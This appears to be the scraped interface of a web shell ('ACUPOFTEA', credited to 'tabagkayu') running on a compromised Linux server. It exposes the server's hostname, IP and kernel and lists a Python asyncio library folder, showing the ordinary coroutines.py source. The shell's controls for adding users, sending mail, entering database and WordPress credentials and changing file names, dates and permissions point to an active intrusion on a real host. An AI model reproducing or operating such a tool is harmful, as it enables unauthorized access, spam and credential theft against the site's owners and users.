System
:
Linux server1.ontime-gulf.com 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
Software
:
Apache
Server
:
162.0.230.206
Domains
:
40 Domain
Permission
:
[
drwxr-xr-x
]
:
/
lib64
/
python3.12
/
asyncio
/
216.73.216.5
Select
Submit
Home
Add User
Mailer
About
DBName
DBUser
DBPass
DBHost
WpUser
WpPass
Input e-mail
ACUPOFTEA for accounting.gulfstore-gcc.com made by tabagkayu.
Folder Name
File Name
File Content
File
coroutines.py
__all__ = 'iscoroutinefunction', 'iscoroutine' import collections.abc import inspect import os import sys import types def _is_debug_mode(): # See: https://docs.python.org/3/library/asyncio-dev.html#asyncio-debug-mode. return sys.flags.dev_mode or (not sys.flags.ignore_environment and bool(os.environ.get('PYTHONASYNCIODEBUG'))) # A marker for iscoroutinefunction. _is_coroutine = object() def iscoroutinefunction(func): """Return True if func is a decorated coroutine function.""" return (inspect.iscoroutinefunction(func) or getattr(func, '_is_coroutine', None) is _is_coroutine) # Prioritize native coroutine check to speed-up # asyncio.iscoroutine. _COROUTINE_TYPES = (types.CoroutineType, collections.abc.Coroutine) _iscoroutine_typecache = set() def iscoroutine(obj): """Return True if obj is a coroutine object.""" if type(obj) in _iscoroutine_typecache: return True if isinstance(obj, _COROUTINE_TYPES): # Just in case we don't want to cache more than 100 # positive types. That shouldn't ever happen, unless # someone stressing the system on purpose. if len(_iscoroutine_typecache) < 100: _iscoroutine_typecache.add(type(obj)) return True else: return False def _format_coroutine(coro): assert iscoroutine(coro) def get_name(coro): # Coroutines compiled with Cython sometimes don't have # proper __qualname__ or __name__. While that is a bug # in Cython, asyncio shouldn't crash with an AttributeError # in its __repr__ functions. if hasattr(coro, '__qualname__') and coro.__qualname__: coro_name = coro.__qualname__ elif hasattr(coro, '__name__') and coro.__name__: coro_name = coro.__name__ else: # Stop masking Cython bugs, expose them in a friendly way. coro_name = f'<{type(coro).__name__} without __name__>' return f'{coro_name}()' def is_running(coro): try: return coro.cr_running except AttributeError: try: return coro.gi_running except AttributeError: return False coro_code = None if hasattr(coro, 'cr_code') and coro.cr_code: coro_code = coro.cr_code elif hasattr(coro, 'gi_code') and coro.gi_code: coro_code = coro.gi_code coro_name = get_name(coro) if not coro_code: # Built-in types might not have __qualname__ or __name__. if is_running(coro): return f'{coro_name} running' else: return coro_name coro_frame = None if hasattr(coro, 'gi_frame') and coro.gi_frame: coro_frame = coro.gi_frame elif hasattr(coro, 'cr_frame') and coro.cr_frame: coro_frame = coro.cr_frame # If Cython's coroutine has a fake code object without proper # co_filename -- expose that. filename = coro_code.co_filename or '<empty co_filename>' lineno = 0 if coro_frame is not None: lineno = coro_frame.f_lineno coro_repr = f'{coro_name} running at {filename}:{lineno}' else: lineno = coro_code.co_firstlineno coro_repr = f'{coro_name} done, defined at {filename}:{lineno}' return coro_repr
New name for
Are you sure will delete
?
New date for
New perm for
Name
Type
Size
Permission
Last Modified
Actions
.
DIR
-
drwxr-xr-x
2025-12-09 10:58:06
..
DIR
-
drwxr-xr-x
2025-12-09 10:58:06
__pycache__
DIR
-
drwxr-xr-x
2025-12-09 10:58:06
__init__.py
text/plain
1.19 KB
-rw-r--r--
2025-06-03 03:41:47
__main__.py
text/x-script.python
3.41 KB
-rw-r--r--
2025-06-03 03:41:47
base_events.py
text/plain
76.73 KB
-rw-r--r--
2025-06-03 03:41:47
base_futures.py
text/x-script.python
1.93 KB
-rw-r--r--
2025-06-03 03:41:47
base_subprocess.py
text/x-script.python
8.66 KB
-rw-r--r--
2025-06-03 03:41:47
base_tasks.py
text/x-script.python
2.61 KB
-rw-r--r--
2025-06-03 03:41:47
constants.py
text/x-script.python
1.38 KB
-rw-r--r--
2025-06-03 03:41:47
coroutines.py
text/x-script.python
3.26 KB
-rw-r--r--
2025-06-03 03:41:47
events.py
text/plain
28.65 KB
-rw-r--r--
2025-06-03 03:41:47
exceptions.py
text/plain
1.71 KB
-rw-r--r--
2025-06-03 03:41:47
format_helpers.py
text/x-script.python
2.35 KB
-rw-r--r--
2025-06-03 03:41:47
futures.py
text/plain
14 KB
-rw-r--r--
2025-06-03 03:41:47
locks.py
text/plain
18.55 KB
-rw-r--r--
2025-06-03 03:41:47
log.py
text/plain
124 B
-rw-r--r--
2025-06-03 03:41:47
mixins.py
text/plain
481 B
-rw-r--r--
2025-06-03 03:41:47
proactor_events.py
text/plain
32.71 KB
-rw-r--r--
2025-06-03 03:41:47
protocols.py
text/plain
6.79 KB
-rw-r--r--
2025-06-03 03:41:47
queues.py
text/x-script.python
7.79 KB
-rw-r--r--
2025-06-03 03:41:47
runners.py
text/x-script.python
7.06 KB
-rw-r--r--
2025-06-03 03:41:47
selector_events.py
text/plain
47.2 KB
-rw-r--r--
2025-06-03 03:41:47
sslproto.py
text/x-script.python
31.15 KB
-rw-r--r--
2025-06-03 03:41:47
staggered.py
text/plain
6.91 KB
-rw-r--r--
2025-06-03 03:41:47
streams.py
text/x-script.python
26.97 KB
-rw-r--r--
2025-06-03 03:41:47
subprocess.py
text/x-script.python
7.56 KB
-rw-r--r--
2025-06-03 03:41:47
taskgroups.py
text/x-script.python
9.33 KB
-rw-r--r--
2025-06-03 03:41:47
tasks.py
text/plain
36.49 KB
-rw-r--r--
2025-06-03 03:41:47
threads.py
text/plain
790 B
-rw-r--r--
2025-06-03 03:41:47
timeouts.py
text/x-script.python
5.2 KB
-rw-r--r--
2025-06-03 03:41:47
transports.py
text/plain
10.47 KB
-rw-r--r--
2025-06-03 03:41:47
trsock.py
text/x-script.python
2.42 KB
-rw-r--r--
2025-06-03 03:41:47
unix_events.py
text/plain
51.88 KB
-rw-r--r--
2025-06-03 03:41:47
windows_events.py
text/plain
31.82 KB
-rw-r--r--
2025-06-03 03:41:47
windows_utils.py
text/plain
4.94 KB
-rw-r--r--
2025-06-03 03:41:47
~ ACUPOFTEA - accounting.gulfstore-gcc.com